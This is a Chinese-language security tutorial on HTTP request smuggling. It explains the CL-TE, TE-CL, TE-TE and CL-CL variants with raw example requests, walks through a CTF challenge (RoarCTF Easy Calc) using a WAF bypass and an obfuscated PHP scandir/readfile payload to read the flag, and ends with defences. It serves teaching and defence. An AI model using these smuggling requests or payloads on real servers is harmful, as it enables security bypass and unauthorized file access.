HTTP协议请求走私

VSole2021-10-07 05:49:58

HTTP请求走私

   HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式,进行绕过安全机制,实施未授权访问一种攻击手段,获取敏感信息,并直接危害其他用户。

    请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-Length 和 Transfer-Encoding标头。

分类

  • CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding 头
  • TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
  • TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

5种攻击方法

1.CL不为0的GET请求

    当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理。例如下面这个例子:

GET / HTTP/1.1\r
Host: example.com\r
Content-Length: 44\r

GET /secret HTTP/1.1\r
Host: example.com\r
\r
    前端服务器处理了 Content-Length ,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。

2.CL-CL

    根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。例如:

POST / HTTP/1.1\r
Host: example.com\r
Content-Length: 8\r
Content-Length: 7\r

12345\r
a
 这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r 。

3.CL-TE

RFC2616规范
//如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length。
//所以请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。

CL-TE指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length ,处理 Transfer-Encoding 。例如:

POST / HTTP/1.1\r
Host: example.com\r
...
Connection: keep-alive\r
Content-Length: 6\r
Transfer-Encoding: chunked\r
\r
0\r
\r
a
这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r

4.TE-CL

TE-CL指前端服务器处理 Transfer-Encoding 请求头,而后端服务器处理 Content-Length 请求头。例如:

POST / HTTP/1.1\r
Host: example.com\r
...
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
12\r
aPOST / HTTP/1.1\r
\r
0\r
\r

5.TE-TE

TE-TE指前后端服务器都处理 Transfer-Encoding 请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding ,测试例如:

POST / HTTP/1.1\r
Host: example.com\r
...
Content-length: 4\r
Transfer-Encoding: chunked\r
Transfer-encoding: cow\r
\r
5c\r
aPOST / HTTP/1.1\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 15\r
\r
x=1\r
0\r
\r

[RoarCTF 2019]Easy Calc

CL-CL

HTTP走私绕过WAF

http协议走私基础:https://www.cnblogs.com/xhds/p/12339994.html

CL-CL

两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。

 CL-TE

CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。

 

 构造payload获得Flag

使用scandir()函数readfile()函数base_convert()函数dechex() 函数hex2bin() 函数chr()函数

36进制scandir->10进制61693386291

36进制readfile->10进制2146934604002

ascii码/->16进制2f->10进制47

36进制f1agg->10进制25254448(读取根目录得到的)

var_dump(base_convert(61693386291,10,36)(chr(47)))

 读取flag

var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))

 

防御

  • 1、将前端服务器配置为只使用HTTP/2与后端系统通信
  • 2、完全禁用后端连接重用来解决此漏洞的所有变体
  • 3、确保连接中的所有服务器运行具有相同配置的相同web服务器软件。
  • 4、彻底拒绝模糊的请求,并删除关联的连接。
  • 5、在Burp Suite中,你可以使用Repeater菜单禁用此行为,确保你选择的工具具有相同的功能。
  • 6、通过Squid之类的代理来测试他们的测试人员的流量以进行监控。破坏测试人员发起的任何走私攻击请求,确保对此漏洞做到全面杜绝。
前端进制
本作品采用《CC 协议》,转载必须注明作者和本文链接
函数h()是function g { var b = ""; 16 > a && ; return b + a.toString}function h { for e = a.charCodeAt, 255 >= e ?55^10055 =0011 0111100 =0110 0100结果 =0101 0011十进制 =83. def octToHexStr: if number < 16: return '0' + str[2:]. for chr in data: e = ord if e <= 255: enData += octToHexStr else: enData += octToHexStr
由于小程序的便捷性,越来越多的应用迁移到了了小程序上,由此伴随着小程序上线前的日常渗透测试工作也开始增加。但小程序的测试中经常会遇到数据包被加密了,导致无法进行改包测试。和测试网页数据包加密一样,就需要找到小程序前端相应的加解密方法进行加解密数据包改包测试。
文件上传数据包解析 文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为multipart/from-data才能正常上传文件。 一个正常的文件上传数据包大致如下:
我们都知道,学安全,懂SQL注入是重中之重,因为即使是现在SQL注入漏洞依然存在,只是相对于之前现在挖SQL注入变的困难了。而且知识点比较多,所以在这里总结一下。通过构造有缺陷的代码,来理解常见的几种SQL注入。本文只是讲解几种注入原理,没有详细的利用过程。
HTTP request smuggling与CTF实战利用
日常渗透测试中,在进行数据包的重放或者是篡改数据包时,会碰到一些存在数据加密或加签的站点,这时我们就得寻找加签或者加密的算法,而这寻找过程往往有一定难度。 总的来讲,对于数据解密或者加签破解的难度:app>web≥wxapp,同时api接口都是相同的,为降低不必要的挖洞难度,可将目光放到微信小程序上。本次就是以一个微信小程序站点开展的测试。
HTTP协议请求走私
2021-10-07 05:49:58
HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式,进行绕过安全机制,实施未授权访问一种攻击手段,获取敏感信息,并直接危害其他用户。
HTTP请求走私是针对于服务端处理一个或者多个接收http请求序列的方式,进行绕过安全机制,实施未授权访问一种攻击手段,获取敏感信息,并直接危害其他用户。????请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。
主要是可以拿着这些信息通过goole,或github搜索一些其他的敏感信息,扩大搜索面。效果就不多说了,在github泄漏一些账号或源码的事件简直不要太多。)如果得到的ip结果不同,即可判断使用了CDN。nmap扫描服务器进行搜集,我认为也是至关重要的一点,不能遗漏。里面的security项rename-command CONFIG ""又问:如果内容禁止使用ip如何探测内网端口1、使用dns解析2、127。
SQL注入测试
2022-05-09 07:47:24
0x01 等保测评项 GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4.4安全计算环境—入侵防范项中要求包括: a)应遵循最小安装的原则,仅安装需要的组件和应用程序; b)应关闭不需要的系统服务、默认共享和高危端口; c)应通过设定终端接入方式或网络地址范围对通过网络进行管理的管理终端进行限制; d)应提供数据有效性检验功能,保证通过人机接口输入或通过通
VSole
网络安全专家